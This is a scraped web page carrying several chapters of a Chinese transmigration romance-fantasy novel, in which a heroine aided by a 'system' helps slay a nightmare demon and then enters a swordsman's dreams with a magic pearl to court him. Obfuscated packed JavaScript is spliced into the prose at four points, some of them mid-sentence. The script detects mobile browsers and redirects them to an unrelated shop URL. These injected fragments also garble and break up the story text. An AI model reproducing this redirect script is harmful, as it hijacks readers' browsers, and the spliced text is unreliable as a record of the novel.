她嘴中喃喃,念出一连串晦涩难懂的咒文,方方块块的墨字从纸面上跳出来,字和字连成串,远远望去,如同一条不断拔长的黑色线条,没入淡蓝色的玉珠中。 文字本身便是咒文,在蜃楼珠的驱动下形成一个幻境。 冷风搅动月色,满溪的银白月光如同碎琉璃,哗哗流淌。 柳轻抖抖袖袍,收回玉珠,轻薄的纱裙浮动成绯红色的雾。 仅看她的一半身躯,实在是个漂亮的美人,然而另一半却狰狞如恶鬼,怪诞又割裂。 柳轻道:“你想要什么?” 李寒筝苍蝇搓手:“是这样的……” 话还没说完,下一秒,天旋地转,柳轻猛地捏住她的肩膀用力往后一抛。 李寒筝在空中划出一个抛物线,直直往小溪对面的深林坠去。 这短暂的瞬间,一切反应都来不及,她脑袋里空白一片,眼睛都来不及闭上,只见不断后退的视线中,一道银白的月色从远处逼近,伴随着连绵的轰隆巨响。 那不是月色,而是剑光,锋利,霜雪一般冷一般亮,所过之处,树木拦腰斩断,只眨眼之间,便近至眼前。 一声巨响,木桥应声而断,砸起水花满天。 有草木的缓冲,李寒筝没摔太重,她缓了会,飞速从地面上爬起来,蹲在一个隐秘的角落观察战局。说书先生年纪过了不惑,但是跑起来却很快,不一会儿就消失在了密林之中。 柳轻在木桥被劈断之前将将躲开,只一截绯色的衣裙被齐齐切断,悠悠坠入溪水之中。 剑光至,人也从林中缓缓走出,他手里是一柄既细且长的剑,如霜似雪,也是一柄在原文中十分有名的剑,霜天策。 是段梧声。 李寒筝暗暗叹了口气,原文中段梧声识破幻境要更晚一点,但是由于她的出现,段梧声提前产生了怀疑。 不愧是原文里的智商担当啊,明明她什么都没有说,他也能从细枝末节里推断出不对。 柳轻不识得这柄剑,但是梦魇蟾蜍识得,他如临大敌,黄绿色的眼睛紧紧盯着不断逼近的人影,不可置信道:“不可能……怎么可能,就算你是仙盟司厄,但这可是我的毕生心血,你怎么可能这么快就识破幻境?” 段梧声显然没有回答问题的打算,干脆利落地挥出了第二剑。 梦魇蟾蜍果断一闪躲过剑招,与此同时无数黑雾从他的体内涌出,蔓延开来。 黑雾中走出无数狰狞嘶吼的身影,冲着段梧声疾奔而去。 那都是被梦魇蟾蜍吞噬的魂魄,已经被炼化成了恶魂。 段梧声依然游刃有余,恶魂源源不断地从黑雾中走出来,却以更快的速度在他的剑刃上消散。 这对于他而言是一场必胜的战局,几乎是碾压性的战斗。可以预见的是,恶魂的全部溃散,只是时间问题。 梦魇蟾蜍咬咬牙:“还不把身体的控制权给我吗?这可是仙盟的司厄,有少剑仙之称,死在他剑下的妖邪比你吃过的米还多!” 柳轻声音急促:“若是你骗我怎么办!” “骗你?”梦魇蟾蜍讥讽地笑了几声:“李恪三人还没死,你信不信,我们会比他们先死!” 瞬息之间,大半恶魂都已溃散得干干净净,梦魇蟾蜍尖声道:“快啊!否则就来不及了!” 柳轻大吼道:“我给你!但你要记得答应我的!” 半张恶鬼相露出了个一瞬即逝的阴森笑容,下一秒,黑雾整个笼罩住柳轻,浓稠地像是一滩沼泽。 片刻后,从沼泽中走出一个身影,面容阴鸷可怖,黄绿色的眼睛卸下平静的伪装,里面满是怨毒狠辣。 这不再是柳轻了,而是彻彻底底的梦魇蟾蜍。 柳轻被骗了。 李恪三人此时应该已经死了,梦魇蟾蜍吸食了他们的魂魄获得了力量,又不费吹灰之力之力骗柳轻让渡出身体的主导权,现在,梦魇蟾蜍应该已经完成蜕皮了。 李寒筝叹了口气。 梦魇蟾蜍老谋深算至此,怎么可能甘愿任一个小小怨灵摆布,他假意答应了柳轻的条件,在城主府布下了蜃楼幻境,只是为了快速收割魂魄获取力量,好快速完成蜕皮,而后彻底吞噬柳轻。 原著中主角团调查出柳轻的过往时,柳轻已经被彻底吞噬了,梦魇蟾蜍彻底完成蜕皮,又吸食了城主府众人的魂魄,法力大增,直接野心暴涨,想要把主角团也给吞下去,毕竟修士的魂魄对妖物而言,是大补中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177300|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大补。 因为这一着,主角团是费了好一番功夫才将梦魇蟾蜍搞定。 不过嘛,现在可不一定。 李寒筝抱住树干,咬咬牙,猛地撞了上去。 如果原著交代的信息无误的话,段梧声此人,不问是非对错,只要是妖魔鬼怪,一律格杀勿论。 原著里还有个设定,段梧声是秽种,秽种,谓之血脉不纯,便是半魔之子的意思。 段梧声身上有八十一颗定魂针压制秽种血脉,但是杀欲全开的状态下仍旧极易失控,这时只有女主裴玉仪的血能够让他恢复平静,这也是评论区读者非常磕女主和男二的原因之一。 也就是说,这个时候,只有裴玉仪能够让他停手。 如果没记错的话,裴玉仪应该在第五层蜃楼幻境。 “砰!” 李寒筝默数着,一下一下地撞。 “砰!” “砰!” …… 第五次撞下,一道声音刺破黑暗。 “李姑娘?” 一双手托住她下坠的肩膀,落在地上的灯笼散发着暖光。 听见这个声音,李寒筝有点激动。 她脑袋撞得有点神志不清,抱着裴玉仪的腿阿巴阿巴了好久才终于把话说清楚,将柳轻复仇的起因过程简单说了一遍。 说完,李寒筝舔了舔有点口干舌燥的唇,看着裴玉仪陷入沉思的面容有点不确定。 毕竟她只是个路人甲,说的话好像不是那么容易让人相信。 “裴姐姐?”李寒筝采用了一个较亲近的叫法,问道:“你不相信我吗?” “没有,我相信你。”裴玉仪朝她笑了下,扶着她站起来,道:“只是下次别把额头弄那么多血了。” “啪”地一声。 李寒筝发现自己额头多了张止血符。 裴玉仪拔出手中的刀,握住她的手,微笑道:“准备好了吗?” 李寒筝愣愣点了下头。 裴玉仪于是挥出了一剑。 “咔——” 仿佛镜子碎裂的声音。 周遭的景象便如同碎裂的镜片般一片一片剥落下来,不过瞬息,她们踏入了现实世界。 “谢谢你李姑娘,你很聪明。”裴玉仪又往她身上贴了张符纸,而后提剑飞上了屋顶,“接下来的事情就交给我了。” 话落,她的身影就消失在迷蒙的月色与连绵的屋瓦之间。 李寒筝看向肩膀多出来的符纸,“这是什么?” 趴在她衣领的系统蜘蛛唔了声,道:“辟邪符。” 李寒筝摸了摸脸,有点热。 唉,要是攻略对象是裴玉仪就好了,强大善良且耐心,给她下药睡上一觉,裴玉仪一定会对她负责的。 6. 蜃楼(6) 李寒筝赶到的时候整个后山拦腰斩断的树木倒了一地。 梦魇蟾蜍刚刚完成蜕皮,根基并不稳定,有段梧声和裴玉仪的联合压制,已经被治服了。他断了半只手一条腿,伏趴在地上,呜呜咽咽地求饶:“放过我吧,我没害过什么人。” 一般的影视作品中,反派死之前总要来一场正义的拷问,来升华主旨加深立意。然而段梧声完全没有这种习惯,他挥起剑,平常得如同切菜一般,就要往下斩。 裴玉仪伸手挡了一下,俯下身道:“梦魇蟾蜍是么?将那些被你吞噬的魂魄放出来。” 看得出来梦魇蟾蜍十分想要往楚楚可怜梨花带雨靠了,只是顶着一张满是褶子的脸不太美观,不仅不惹人怜爱,反而让人想要快点捅死。 他双眼放出光,急切道:“放!我肯定放!只不过……”他露出为难的神情,“我伤得太重,需要一点时间修养,修养好了我肯定把所有吞噬的魂魄全都吐出来!” 段梧声微微皱眉:“师姐,他在说谎。” 裴玉仪显然也知道,只不过她不愿意看着那些无辜魂魄白白消散,低头沉思着,一时无言。 李寒筝举起手:“或许我有办法。” * 李寒筝的办法便是柳然。 梦魇蟾蜍满肚子坏水,那么,若是给他换一个芯子呢?按理来说,梦魇蟾蜍夺去了身体的主宰权,但是由于段梧声的攻势太猛,他根本没有时间彻底吞噬柳轻。 如果能够唤醒柳轻,那么一切都迎刃而解。 而唯一有希望唤醒柳轻的,只有柳轻相依为命的妹妹,柳然。 柳然从李寒筝的身后一步步走出,步至梦魇蟾蜍的身前,噗通一声跪下,声音里漫上哭腔:“姐姐,是我啊,是阿然……你要抛下阿然吗?” * 段梧声抱着剑站在溪边,青绿色的发带在风中飘荡。 溪水对面,裴玉仪用刀压制着梦魇蟾蜍,柳然跪在地上一声声地哭。 李寒筝想着趁机刷一波存在感,便站定在段梧声身边,超绝不经意地抬头望月,道:“今天我吃了一个桃,你猜是什么桃?” 段梧声轻笑一声:“这位姑娘,你不困了吗?” 李寒筝顿了顿,顽强地把自己的土味情话说了下去,并双手比出一个心:“爱你在劫难逃。” 话刚落,脖间一阵凉意,李寒筝眼珠子往下转,霜天策隔着剑鞘架在她的脖子上。 段梧声微微俯身,垂眸看着她,唇畔带笑:“姑娘,你身上似乎有很多奇怪的地方。” 一方面,李寒筝觉得段梧声不可能现在杀她,毕竟裴玉仪就在旁边。 另一方面,她又实在惜命。 于是在硬气和软弱之间,她选择了气软,抬起眼睛看他,颤声但作死道:“怪?是怪可爱的吗?” 段梧声轻轻呵了下。 剑鞘将一截月光映在她的脸上,那一双眼珠,湛湛的黑,看起来真诚又无辜。 此人善于伪装,行事莫测,又生就一双无辜的眼睛,装疯卖傻拿捏有度,必定另有所图。 段梧声收回剑,淡淡敛下目光。 所幸他好奇心不多,知道可,不知道亦可。 * 上午的阳光撒在窗格上,印成一个个小方块。 李寒筝正在吃早餐。 白瓷小碟里放了各色吃食,晶莹剔透的小笼包,油皮光亮的脆皮鸭,酥脆可口的春卷,汤色清亮鲜掉眉头的馄饨。 系统以翠鸟的形态站在一个阳光小方块里,用喙翻动了一页书,淡声道:“主角团就要离开了,你不着急吗?” 李寒筝没空回答,她正虔诚地将一颗皮薄馅大的馄饨送入口中,好吃到眼睛眯起来。 系统嗤了声:“你是饿鬼投胎吗?” 李寒筝宽容地忽略这句挖苦,十分疑惑道:“你作为一个系统,干嘛要看书?而且看的竟然还是数学。” 系统又翻了一页书,“知识改变命运,不懂别问。” 李寒筝呵了一声:“我高考数学接近满分,你说我懂不懂?” 系统有些惊讶,终于从书中抬起头,上下打量一番李寒筝,发出疑问:“你那年的数学这么简单吗?” 李寒筝:“……” 吃完早餐,李寒筝抖了抖袖袍,推门而出。 昨天一夜惊心动魄,所幸柳轻的怨念实在深重,支撑着她不肯散去,从混沌中又挣扎着醒过来。 而李府的众人全部安睡在蜃楼梦境中,全然不知李府的三位主人已经在睡梦中悄然无声地死去。 主家死绝,却留下了大笔家产,多方人马只要沾亲带故便蜂拥而至,企图分得一杯羹。 李寒筝等着众人吵得差不多了,才姗姗来迟,发表自己的看法:“各位叔伯婶婶辛苦了,谢谢诸位叔伯婶婶的善心,我决定,李府家财尽数分发给需要帮助的穷人。” 满堂男女看着不知从哪冒出来的人,全部都震惊了,这谁?凭什么她决定? 李寒筝微微一笑,将李恪的恶行一笔一笔陈述出来。 众人嘲讽地笑了,跟你有什么关系。 李寒筝便请出了裴玉仪。 裴玉仪一句话没说,只将一把刀拍在案桌上,刀出鞘三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177301|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸,寒光逼人眼睫,满座皆静。 见没有异议了,李寒筝拍了下手:“太好了,看来各位叔伯婶婶都是通情达理的好人。” 众人:“……” 配合李寒筝演了一出戏,主角团便离开了,裴玉仪和段梧声回了暮山,而袁期身为男主却全程游离在剧情之外,默默地戴了顶斗笠,一句招呼也不打便飘然而去了。 临行前,裴玉仪赠了她一叠符纸,道:“李姑娘,这些符纸不需灵力便可驱动,危险关头你可拿出来一用。” 非常实在且有用的礼物,李寒筝欣然接受。 接下来两日,她清点了李府的财产,核实了被李恪祸害的女子,一半的家财用来补偿她们的父母,为她们迁坟立碑,五分之一的家财遣散李府众人,最后的十分之三,则分发给城中的穷人。 做这一切,当然不是为了善心,工作是需要有报酬的,李寒筝勤勤恳恳完成这份工作,因此心安理得地拿了属于原主的家财。 原主的父母生前行商,为她留下了一笔可观的家财。 李寒筝用这笔钱置办了马车等出门远行必备之物,她准备出发前往宛州。 出发前一晚,柳然带了一把白纸伞前来送她。 她撑开伞,伞下便浮动一缕雾,雾中走出一个红衣女子,正是柳轻。 柳轻拿了梦魇蟾蜍的身体,自然也继承了蟾蜍妖的法力,她和其他魂魄不同,其他魂魄可以自由离开,而她长时间占据过蟾蜍妖的身体,早就和这具身体融为一体,难以离开,不过柳轻挂念着孤苦无依的妹妹,也不愿离去,裴玉仪便赠给她一把养魂的白纸伞。 柳轻从袖中拿出一个碧绿色的玉珠,道:“我猜想,你所求的,是此物。” 李寒筝毫不客气地拿了,她的确想要蜃楼珠,只是没有谈条件的资本,只能够等,赌一赌人心。 所幸,她赌对了。 原著里柳轻的计划应该在后几日,却提前到了她回李府的那一日,李寒筝猜想,应该是柳轻不想李恪再次祸害她。 柳轻是个外冷内热的人,那晚她为柳轻引来裴玉仪找来柳然,此后又散尽李府家财,不贪一分一毫,柳轻自然也会回报她。 回报之物,自然便是蜃楼珠。 李寒筝将蜃楼珠紧握在手心,道了句:“多谢。” “不必谢,仇人已死,此物于我无用,不过是顺水推舟罢了,”柳轻音色淡淡,“说来,应该是我谢谢你。” 说罢,她和柳然共同后退一步,拱手弯腰行了一个礼。 “我知姑娘绝非庸碌之人,便祝姑娘万事遂心,所愿得偿。” 7. 葛生于野(1) 另一日清晨,马车粼粼驶动,在清晨的薄雾中离开了南熙城。 李寒筝坐在晃荡的马车中,捧着碟小笼包吃。 小笼包是出城门时买的,刚出蒸笼,腾腾冒着白汽,蘸上一点醋和辣椒油,十分之美味。 窗口的帘栊卷起,系统小鸟站在窗棂上,有些不屑:“你打算去宛州养老?” 这个怀疑是有原因的,若论天下繁华之处,宛州必为其中之一。 此方世界,凡人劳碌一生是为求财求名,其余妖魔修士,穷尽一生夜以继日地修炼,是为成神。 九天之上,共有五位神明。神明居于神域,常人难得一见。 此中唯有一位神明厌恶神域清冷,便化身为山,此山名为居无山,处于宛州境内。 既为神明居所,宛州便成了另一种形式的神域,无论是妖是人是鬼是魔,只要进入了宛州,便得守宛州的规矩,不得打架斗殴,更不得奸杀抢掠。 因此宛州成为了普天之下最安全之所,没有人抑或妖魔鬼怪敢触犯神明的威严。 也因此宛州成了最繁华之所,无论是什么种族,都能够进入宛州贸易经商。 系统的科普十分有趣,李寒筝嘴里塞着小笼包鼓了鼓掌。 爱看书有文化的系统在窗棂上踱步几下,看不惯李寒筝这幅咸鱼模样,斜着眼道:“不是攻略局的王牌新星吗?就这点能耐?” “当然不是了。”李寒筝吃完最后一个小笼包,擦了擦手,慢条斯理地拿起挂在脖子上的蜃楼珠,“提醒你一下,根据原著剧情,男二段梧声一直在寻找蜃楼珠。” 系统起了点兴趣:“所以你要以此来讨好男二?” “这是下下之策,”李寒筝高深莫测地摇摇手指:“再提醒你一下,蜃楼珠可以入梦,现在,你知道我有多机智了吧?” 系统鸟喙一歪,凉凉一笑:“不会是在梦里让段梧声看你刀削斧凿的下颚线吧?” 李寒筝一噎,“怎么了,难道我的下颚线不好看吗?” 系统无声冷笑。 * 话虽如此,系统还是尽职尽责科普蜃楼珠的功效。 “传说蜃楼珠乃是上古蜃龙的眼睛,最初工匠和使用者已不可考,后为前任魔君楼樱所得,被用来刺探情报和探察下属真心。楼樱一死,蜃楼珠就此下落不明,不知为何流落到南熙城,被一个小小蟾蜍妖所得。” 李寒筝有礼貌地举手:“功效呢?” “正要说,”系统有点暴躁:“催什么催。” 李寒筝:“……” 这个世界总是对她这种有礼貌的人充满恶意。 系统继续道:“蜃楼珠只能够编织虚假,而不能创造真实。这份虚假,不仅是对旁人,而且是对自己。用蜃楼珠入他人梦境,需得以南柯为引,南柯本身无色无味,是故混进其他香料中也难以察觉。” “但并不是每次入梦都得点燃南柯,闻过一次之后,半旬内功效依然存在,此外,蜃楼珠入梦,是绝对意义上的入梦,无论对方修为几何。” “至于如何使用,蜃楼珠的使用对入梦者的修为没有什么要求,就算是没有修为的凡人亦能使用,且若是入梦者不想自己的存在被察觉,那么被入梦之人便难以察觉,这也正是蜃楼珠的可怕之处。” “嚯,”李寒筝啧啧称奇:“不愧是前任魔君楼樱的吊坠,简直跟开了挂一样。” 是夜,途经歇脚客栈,车夫带着马去饮水吃草,李寒筝则在客栈订了间厢房。 及至月明星稀,李寒筝搁下笔,吐出一口气:“写好了。” 系统用爪子扒拉着稿纸,一目十行扫过,“英雄救美?” “不错,”李寒筝目光里闪烁着智慧的光芒,“你有没有听说过吊桥效应?” “哦?” “意思就是,当两个人处于险境的时候,会不由自主将面临危险时的心跳加速误以为是心动。” “哦?”系统语调略略上扬,“那你很有把握了?” 李寒筝道:“咱谦虚一点,不说十拿九稳,只说争取在今晚取得质的飞跃!” 系统:“……”为什么它有一种不好的预感。 第一次梦境。 上元灯节,夜幕低垂,灯火璀璨。 花车缓缓驶过,武士开道,花瓣漫天,舞女裙裾飞扬。 突然一个人影坠下,绯红色轻薄的裙裾飘摇荡开,如同一片花瓣点开这灯火满街的圈圈涟漪。 系统道:“你确定这样有用?” 李寒筝自信一笑,“当然了,三秒之后,段梧声就会飞跃而下,在漫天鲜花坠落如雨,满城灯火葳蕤中接住我,然后我们对视,旋转,时间仿佛慢镜头,对视的刹那就是一眼万年。” 系统呵了声:“有点被恶心到。” 李寒筝不以为然。 英雄救美的重点在于“美”,若是美,那便是救命之恩以身相许,若是不美,那便只能是区区小事不足挂齿了。 李寒筝调转身形,正面朝上,她坚信,这次段梧声一定能够看见她如同刀削斧凿般的下颚线以及深邃如夜空的双眼。 一秒,两秒,三秒。 李寒筝忽然意识到有点不对劲。 怎么还不来接住她? 她睁大眼,仔细搜寻。 段梧声一身如雪白衣,独自凭栏饮茶,察觉她的目光,遥遥举杯敬了一下,唇边含着浅淡的笑意。 靠!这个狠心的男人。 一秒之后,李寒筝坠楼,不幸死去。 客栈之内,系统扒拉着桌上的纸:“说好的十拿九稳呢?” 李寒筝:“……” 做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“意思是说,任何一个人,只要在某一个领域深耕一万个小时,那么他就会成为这个领域的专家。” “而我,付出了如此多心血与努力,又积累了经验和教训,毫不客气地说,我就是这个领域的专家!” 系统:“……” 一顿操作猛如虎,一看战绩零杠五。 它不由得怀疑,李寒筝说她生前是个业绩超高的骗子,其实是骗它的,不管从什么角度看,这人都不像是能骗到人的样子。 顿了好一会,它自我安慰宿主是个废柴总比是条咸鱼好,于是它问:“你想干什么?” 李寒筝道:“根据吸引力法则,受欢迎的人越受欢迎,不受欢迎的人永远不受欢迎。” “所以?” “只要让他看到我的吸引力,看到众多人为我倾倒,他一定也会不由自主地关注我,这时,我只要表露出我只爱他一个人,那么他一定会觉得我专一又深情,然后坠入我的情网之中。” 系统干巴巴地夸赞:“加油,祝你好运。” 8. 葛生于野(2) 第三次梦境。 李寒筝总共走了一百级台阶,这一百级台阶李寒筝走了半个时辰。 原因无他,每走几级台阶,就会有一个人前来向她表白。 或羞涩腼腆:“寒筝师妹,夜里我总是睡不着,想起你喜爱花草,便给你绣了一幅万里江山图。” 或直白大胆:“阿筝,我喜欢你,从第一天见到,我就觉得你很不一样。” 或憨厚老实:“筝妹,和我在一起吧,我家里有钱有矿,以后你嫁给我,什么都不需做,我天天伺候你。” …… 难怪万人迷的人设这么吃香,原来这么爽,李寒筝心里洋洋得意,面上却绷出一幅情深不渝心有所属的模样,每拒绝一个人,便往身旁的段梧声看上一眼。 直至看了二十多眼,段梧声仍是淡淡的,唇角的弧度都丝毫未改。 瞥见李寒筝难以忽略的目光,段梧声温声道:“怎么,师妹你的眼睛抽了吗?” 李寒筝决定打直球,“师兄,我喜欢你。” 这个梦境里的设定,就是青梅竹马的师兄妹。 段梧声顿了会,没有太多惊讶,只道:“那么师妹,你是喜欢我的皮相,还是我的内里?” 李寒筝的大脑飞速转动。 皮相还是内里,一个非常经典的问题。 当然也有非常经典的答案。 李寒筝掐了自己一把,逼出点泪,深情道:“当然是师兄你的内里。” “是么?” 他神情淡淡,看不出信或不信,李寒筝只好继续道:“师兄温柔善良,正直坦率,在我心中,师兄是天底下最好的人,我的目光,时刻都追随着师兄,永远为师兄而停留。” 段梧声微笑着道:“原来如此。” 他眼底似乎微有嘲意,李寒筝以为自己看错了,正想细看,只见他后退一步,道:“都听见了吗?寒筝师妹喜欢温柔善良的。” 此话一落,无数个人头冒出来,朝她扑过来。 “师妹,你看看我,我原意为你变得温柔善良!” “师妹,温柔善良的又不止他一人,我也可以!” “师妹!” “师妹!” …… 李寒筝惊恐地后退一步,只见段梧声朝她挥挥手,往另一个岔道口离开了。 靠,为什么? 扑过来的人太多,发生踩踏事故。 李寒筝不幸摔倒,又双叕挂掉。 客栈之内,李寒筝合上眼,笑得十分安详:“不要劝我,让我去吧。” 回应她的是一片沉默。 李寒筝又睁开眼,看向系统:“不会吧,你还真的不劝我,统子,这么多天的情谊,终究还是错负了。” 系统只是淡声道:“你甘心被同一个男人拒绝这么多次吗?” 李寒筝立时便龇牙咧嘴地从床上爬起来,一甩头发,拿起毛笔唰唰唰就开始写。 这已经不是成功与否的问题了,而是赌上尊严的殊死一战。 “我就不相信了,知心姐姐型,可爱萝莉型,高冷御姐型,跋扈嚣张型,他总有一个心动。千百种套路,重伤失忆,先婚后爱,强取豪夺,温暖救赎,青梅竹马,欢喜冤家,误会替身,他总有一个会沦陷。” 系统也觉得,一般来说,囊括如此之多类型与套路,总该成功了。 然而很可惜,这显然不是一般情况。 于是接下来的夜晚,李寒筝历经了各种失败。 失败到最后,李寒筝瘫在床上,两眼青黑,浑身一幅身体被掏干的萎靡,疲惫地微笑:“我错了,真的,我单知道段梧声不好攻略,不知道他竟然是个如此狠心绝情的人,你说他这样的人,真的会爱上某个人吗?” 系统虽然觉得李寒筝废柴,但熬了一夜之后,也和李寒筝有了一致的看法:“确实颇为困难。” 夜晚一点一点滤了干净,轻而薄的晨光从天际缓缓晕染开。 一缕晨光从窗格投射进来。 李寒筝将窗户推开一条缝,清凉的晨风中她头顶的发丝细细飞舞。 极目远眺,地平线的尽头青山隐约显现出轮廓,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“只是试探罢了,本来也没想着靠这个。”李寒筝靠着窗台,侧脸映着逐渐升起的天光,“我已经想到planD了。” “哦?” “就在宛州。” 暮山之上,段梧声从打坐中缓缓睁开眼,颇觉疲累。 他垂眸看向自己的手,长袖撸开,金色的符文从指尖蔓延到手臂,忽隐忽现。 昨夜晚上,他似乎梦到了同一个人……很多次。 9. 葛生于野(3) 街角有家面馆,店面不大,胜在简单干净,高汤是乳白色,咕噜噜沸着,升腾起蒙蒙的白雾,浇头酱香浓郁,辣椒酱红鲜油亮,旁边搁的小葱水灵新鲜,还蘸着水珠。 但是今日面馆的生意却不大好,因为下了雨,天空灰蒙一片,如同厚厚的棉褥,街上石板湿滑,淌着一层亮。 面馆的老板却不肯闲,有一搭没一搭编着竹筐,偶尔抬头扭动脖子,看看雨景,便看见了一把油纸伞远远地过来,伞下站着位杏黄色衣裙的姑娘。 姑娘走过面馆,又倒退回来,看了看面馆里的高汤浇头,脚步黏住了,便道:“人是铁饭是钢,吃饱了才能干活。” 另一个声音似是很不乐意,道:“一上午你都吃多少东西了?馄饨,板栗酥,小笼包,葱油饼……还没吃饱吗?呵呵,你就是来养老的吧。” 老板这才发现姑娘肩头立着一只巴掌大的翠鸟。 这年头养妖仆也很常见,好不容易来了客人,老板忙招呼她进来。 客人进店收伞,伞沿下移,是张惊艳漂亮的脸,一双眼睛既明且大,自带三分笑意,脖子上挂着一颗光华润泽的碧玉珠,其上用精妙的笔触镌刻着一枝樱花。 老板暗暗惊叹了下,道:“姑娘要些什么?” 考虑到方才翠鸟说客人已吃了许多,他忙补充道:“有小份,中份,大份,姑娘若吃不下,可选小份。” “不,”李寒筝沉吟一秒,道:“要大份,各种浇头都来一点,加个荷包蛋。” 老板:“……” 李寒筝寻了个位置坐下。马车行了半个月方才到达宛州,她结清了车夫的工钱,又寻了客栈安置好,这才晃晃悠悠地出来。 热腾腾的面端上来,老板闲下手便接着编竹筐,拉闲话道:“姑娘可是第一次来到宛州?” 李寒筝点了点头,道:“老板可听说过镜楼?” 老板笑呵呵道:“在宛州,镜楼的名字可是无人不知无人不晓,连路边的三岁稚童也能说出个一二三来。” 雨天无聊,老板便拉开了话闸,道:“镜楼专司悬赏发布接领,只要你有钱,就能够去镜楼发布悬赏,只要你想要钱,就能够去镜楼领悬赏。悬赏内容,从杀人越货,到秘境探宝,应有尽有,百无禁忌。若是不想人知道,还能够暗中交易。” “镜楼的老板姓何,底下有两名修为高深的手下,人称财大人和宝大人,是两尊煞神,专门维护镜楼的秩序,若是有人敢违背交易,三更不到就会身首异处。” 李寒筝已吃了半碗面,道:“那镜楼有没有什么很有意思的悬赏?” 老板拧着眉想了半刻,道:“有一个,说来十分有趣。” “当今修仙大宗,以暮山为首,现任的暮山弟子首座,是位名叫段梧声的仙君,他剑法精妙,天资卓越,少时便有少剑仙之称。听说他生得也是仙资玉质,令许多女修一见便倾了心,但是偏偏这位仙君最是清心寡欲,没有半点男女之欲,那些爱慕他的女修便只能暗暗伤心。” “但是呢,其中有个女修不甘心,她是某个大宗的掌门之女,向来高傲自负得很,连着三年日日都去寻访这位段仙君,一腔灼灼爱慕之心,就算是顽石也该被感动了。” “然而这位段仙君到底不解风情,女修数次寻访,皆被他拒之门外,这位掌门之女最后一怒之下,竟在镜楼发布了悬赏令。” 面馆老板深谙讲故事的精髓,在最紧要处停顿了好一会,才道:“姑娘猜这悬赏令的内容是什么?” 李寒筝咬着面条,配合地摇摇头。 面馆老板将关子买足,这才缓缓道:“内容便是,谁能成为这位段仙君的妻子,谁便能获得三万上品灵石。” “有灵石的驱使,又兼这位段仙君姿容天赋具佳,是以这道悬赏令一出,许多女修便开始竞相追求,可惜的是,这些女修无不铩羽而归,失败之后又是叹气又是好奇,叹气的是竟没有一个人成功,好奇的是究竟是何等女子,能够入这位段仙君的眼。” “出于好奇,每位失败的女修归来之后便在这道悬赏令后增加赏金,增加到现在,已经有五万上品灵石了。” 李寒筝点点头,笑着道:“原来如此。” 她在原文中也看到过这一段,不过只是匆匆带过,作为衬托男二金相玉质的筏子。 八卦听完,面也吃完,李寒筝留下面钱便撑伞离开,她一路且行且看,最后停留在一栋气势恢宏飞檐斗拱的大楼前。 楼前匾额上两个飞扬的烫金大字——镜楼。 系统眯了眯眼睛:“你去镜楼干嘛?” 李寒筝理所当然道:“攻略呀。” 出于对这位宿主的了解,系统有一个很匪夷所思的猜测:“你要接这个五万上品灵石的悬赏令?” 李寒筝点点头:“不错。” “苍天,”系统语气古怪道:“是你疯了还是我聋了?前些日子一晚上失败无数次的人是谁?” “我。” “既然知道你还来接悬赏令,失败太多放弃治疗了?” “嘘,等会你就知道了。” * 镜楼的顶层此刻鸦雀无声。 因为楼主何殊的心情不太好。 这位何殊何楼主,一年三百六十五天有三百六十四天心情不好,剩下的一天心情非常不好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177304|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原因无他,这位何楼主总是觉得自己的财富太少了,虽然她已经是整个仙域最富有的人之一。 此刻何殊懒懒歪在椅中,她穿着淡金色的长裙,发间插着数根金钗玉簪,脖子上挂着璎珞项链,腰间佩了各色玉珏,就连衣襟上滚的珠子,都是出自寒无海的深渊。 通身的璀璨耀目,可谓一整个违章建筑。 但是这奢华的金饰锦衣,都被她一双冷淡的眼睛给压了下去,薄薄的眼皮一挑,就让人无端生出一种敬畏。 镜楼的副楼主财大人正在汇报工作:“本月上旬共新赠一千六百三十二件悬赏,交易完成一千两百四十七件悬赏……” “招财,”何殊撑着脸,神情十分哀伤,声音徐徐轻柔:“那件积压已久的悬赏呢?” 财大人便是招财,闻言他微微一顿,声音冷沉:“至今仍未有人完成。” 何殊更加哀伤了:“尽是些空有皮囊的美丽废物,连这等小事都做不到。” 噔噔噔的脚步声由下及上,门被推开,一张福娃娃的脸出现在门扉后,道:“主子,楼下有人说要接那个悬赏令。” 何殊兴致缺缺,“接便接了,有甚好说,成不成功还不一定呢。” 福娃娃道:“她说有十成的把握能够成功,询问是否可以预支赏金。” “哦?”何殊起了兴趣,“她是否美艳无双呢?” 